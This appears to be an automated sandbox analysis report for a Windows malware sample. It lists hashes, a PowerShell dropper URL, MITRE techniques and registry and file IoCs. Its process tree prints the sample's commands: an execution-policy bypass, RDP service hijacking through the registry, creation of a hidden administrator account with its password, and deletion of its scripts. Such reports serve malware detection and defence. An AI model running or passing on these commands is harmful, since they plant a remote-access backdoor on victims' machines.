5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d

Analysis

max time kernel
59s
max time network
68s
platform
windows10_x64
resource
win10v20210408
submitted
13-07-2021 13:09

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General

Target

753f0b9b7183051f2f09ccd68d418969.exe
Size

6.0MB
MD5

753f0b9b7183051f2f09ccd68d418969
SHA1

ffcd59bc747170fcd30032d3ca1da6861330e99c
SHA256

5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d
SHA512

1e36d40c6245943430c7ed1dc1ed19a88f930842bc14f478dfee3f91fb18d7d3026312dc8ec856b3982f97d0e93510833945dee0b27533ae6a4130cee0f2dfec

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
14	2840	powershell.exe
16	2840	powershell.exe
17	2840	powershell.exe
18	2840	powershell.exe
20	2840	powershell.exe
22	2840	powershell.exe
24	2840	powershell.exe
26	2840	powershell.exe
28	2840	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab50-350.dat	upx
behavioral2/files/0x000600000001ab54-351.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2184	Process not Found
2184	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC5C8.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC5EA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ysmm5p1i.fcg.psm1	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC5B8.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zaxbrigs.ztr.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC549.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIC5D9.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4088	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
2840	powershell.exe
2840	powershell.exe
2840	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeIncreaseQuotaPrivilege	3868	powershell.exe
Token: SeSecurityPrivilege	3868	powershell.exe
Token: SeTakeOwnershipPrivilege	3868	powershell.exe
Token: SeLoadDriverPrivilege	3868	powershell.exe
Token: SeSystemProfilePrivilege	3868	powershell.exe
Token: SeSystemtimePrivilege	3868	powershell.exe
Token: SeProfSingleProcessPrivilege	3868	powershell.exe
Token: SeIncBasePriorityPrivilege	3868	powershell.exe
Token: SeCreatePagefilePrivilege	3868	powershell.exe
Token: SeBackupPrivilege	3868	powershell.exe
Token: SeRestorePrivilege	3868	powershell.exe
Token: SeShutdownPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeSystemEnvironmentPrivilege	3868	powershell.exe
Token: SeRemoteShutdownPrivilege	3868	powershell.exe
Token: SeUndockPrivilege	3868	powershell.exe
Token: SeManageVolumePrivilege	3868	powershell.exe
Token: 33	3868	powershell.exe
Token: 34	3868	powershell.exe
Token: 35	3868	powershell.exe
Token: 36	3868	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeIncreaseQuotaPrivilege	3184	powershell.exe
Token: SeSecurityPrivilege	3184	powershell.exe
Token: SeTakeOwnershipPrivilege	3184	powershell.exe
Token: SeLoadDriverPrivilege	3184	powershell.exe
Token: SeSystemProfilePrivilege	3184	powershell.exe
Token: SeSystemtimePrivilege	3184	powershell.exe
Token: SeProfSingleProcessPrivilege	3184	powershell.exe
Token: SeIncBasePriorityPrivilege	3184	powershell.exe
Token: SeCreatePagefilePrivilege	3184	powershell.exe
Token: SeBackupPrivilege	3184	powershell.exe
Token: SeRestorePrivilege	3184	powershell.exe
Token: SeShutdownPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeSystemEnvironmentPrivilege	3184	powershell.exe
Token: SeRemoteShutdownPrivilege	3184	powershell.exe
Token: SeUndockPrivilege	3184	powershell.exe
Token: SeManageVolumePrivilege	3184	powershell.exe
Token: 33	3184	powershell.exe
Token: 34	3184	powershell.exe
Token: 35	3184	powershell.exe
Token: 36	3184	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeIncreaseQuotaPrivilege	4060	powershell.exe
Token: SeSecurityPrivilege	4060	powershell.exe
Token: SeTakeOwnershipPrivilege	4060	powershell.exe
Token: SeLoadDriverPrivilege	4060	powershell.exe
Token: SeSystemProfilePrivilege	4060	powershell.exe
Token: SeSystemtimePrivilege	4060	powershell.exe
Token: SeProfSingleProcessPrivilege	4060	powershell.exe
Token: SeIncBasePriorityPrivilege	4060	powershell.exe
Token: SeCreatePagefilePrivilege	4060	powershell.exe
Token: SeBackupPrivilege	4060	powershell.exe
Token: SeRestorePrivilege	4060	powershell.exe
Token: SeShutdownPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeSystemEnvironmentPrivilege	4060	powershell.exe
Token: SeRemoteShutdownPrivilege	4060	powershell.exe
Token: SeUndockPrivilege	4060	powershell.exe
Token: SeManageVolumePrivilege	4060	powershell.exe
Token: 33	4060	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 2000	652	753f0b9b7183051f2f09ccd68d418969.exe	75
PID 652 wrote to memory of 2000	652	753f0b9b7183051f2f09ccd68d418969.exe	75
PID 2000 wrote to memory of 2388	2000	powershell.exe	77
PID 2000 wrote to memory of 2388	2000	powershell.exe	77
PID 2388 wrote to memory of 3676	2388	csc.exe	78
PID 2388 wrote to memory of 3676	2388	csc.exe	78
PID 2000 wrote to memory of 3868	2000	powershell.exe	79
PID 2000 wrote to memory of 3868	2000	powershell.exe	79
PID 2000 wrote to memory of 3184	2000	powershell.exe	84
PID 2000 wrote to memory of 3184	2000	powershell.exe	84
PID 2000 wrote to memory of 4060	2000	powershell.exe	87
PID 2000 wrote to memory of 4060	2000	powershell.exe	87
PID 2000 wrote to memory of 384	2000	powershell.exe	89
PID 2000 wrote to memory of 384	2000	powershell.exe	89
PID 2000 wrote to memory of 4088	2000	powershell.exe	90
PID 2000 wrote to memory of 4088	2000	powershell.exe	90
PID 2000 wrote to memory of 2304	2000	powershell.exe	91
PID 2000 wrote to memory of 2304	2000	powershell.exe	91
PID 2000 wrote to memory of 3176	2000	powershell.exe	92
PID 2000 wrote to memory of 3176	2000	powershell.exe	92
PID 3176 wrote to memory of 3868	3176	net.exe	93
PID 3176 wrote to memory of 3868	3176	net.exe	93
PID 2000 wrote to memory of 3936	2000	powershell.exe	94
PID 2000 wrote to memory of 3936	2000	powershell.exe	94
PID 3936 wrote to memory of 212	3936	cmd.exe	95
PID 3936 wrote to memory of 212	3936	cmd.exe	95
PID 212 wrote to memory of 188	212	cmd.exe	96
PID 212 wrote to memory of 188	212	cmd.exe	96
PID 188 wrote to memory of 2068	188	net.exe	97
PID 188 wrote to memory of 2068	188	net.exe	97
PID 2000 wrote to memory of 856	2000	powershell.exe	98
PID 2000 wrote to memory of 856	2000	powershell.exe	98
PID 856 wrote to memory of 940	856	cmd.exe	99
PID 856 wrote to memory of 940	856	cmd.exe	99
PID 940 wrote to memory of 2240	940	cmd.exe	100
PID 940 wrote to memory of 2240	940	cmd.exe	100
PID 2240 wrote to memory of 2324	2240	net.exe	101
PID 2240 wrote to memory of 2324	2240	net.exe	101
PID 3044 wrote to memory of 3160	3044	cmd.exe	105
PID 3044 wrote to memory of 3160	3044	cmd.exe	105
PID 3160 wrote to memory of 2180	3160	net.exe	106
PID 3160 wrote to memory of 2180	3160	net.exe	106
PID 3964 wrote to memory of 2104	3964	cmd.exe	109
PID 3964 wrote to memory of 2104	3964	cmd.exe	109
PID 2104 wrote to memory of 3752	2104	net.exe	110
PID 2104 wrote to memory of 3752	2104	net.exe	110
PID 2128 wrote to memory of 196	2128	cmd.exe	113
PID 2128 wrote to memory of 196	2128	cmd.exe	113
PID 196 wrote to memory of 3732	196	net.exe	114
PID 196 wrote to memory of 3732	196	net.exe	114
PID 1964 wrote to memory of 3160	1964	cmd.exe	117
PID 1964 wrote to memory of 3160	1964	cmd.exe	117
PID 3160 wrote to memory of 840	3160	net.exe	118
PID 3160 wrote to memory of 840	3160	net.exe	118
PID 2860 wrote to memory of 2104	2860	cmd.exe	121
PID 2860 wrote to memory of 2104	2860	cmd.exe	121
PID 2104 wrote to memory of 3512	2104	net.exe	122
PID 2104 wrote to memory of 3512	2104	net.exe	122
PID 3940 wrote to memory of 196	3940	cmd.exe	125
PID 3940 wrote to memory of 196	3940	cmd.exe	125
PID 196 wrote to memory of 3732	196	net.exe	126
PID 196 wrote to memory of 3732	196	net.exe	126
PID 3044 wrote to memory of 2124	3044	cmd.exe	129
PID 3044 wrote to memory of 2124	3044	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe
"C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nanxm2xf\nanxm2xf.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2388
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES67F7.tmp" "c:\Users\Admin\AppData\Local\Temp\nanxm2xf\CSCF6F882309A884C72B75E9442E551A179.TMP"
      4⤵
      PID:3676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:384
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:4088
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2304
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:212
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:188
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:856
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:940
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2240
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2324
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2172
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:188

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2180

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc JZcq2RIf /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc JZcq2RIf /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc JZcq2RIf /add
    3⤵
    PID:3752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3732

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:840

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3512

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc JZcq2RIf
1⤵
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc JZcq2RIf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc JZcq2RIf
    3⤵
    PID:3732

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2124

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3964
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2860

C:\Windows\System32\cmd.exe
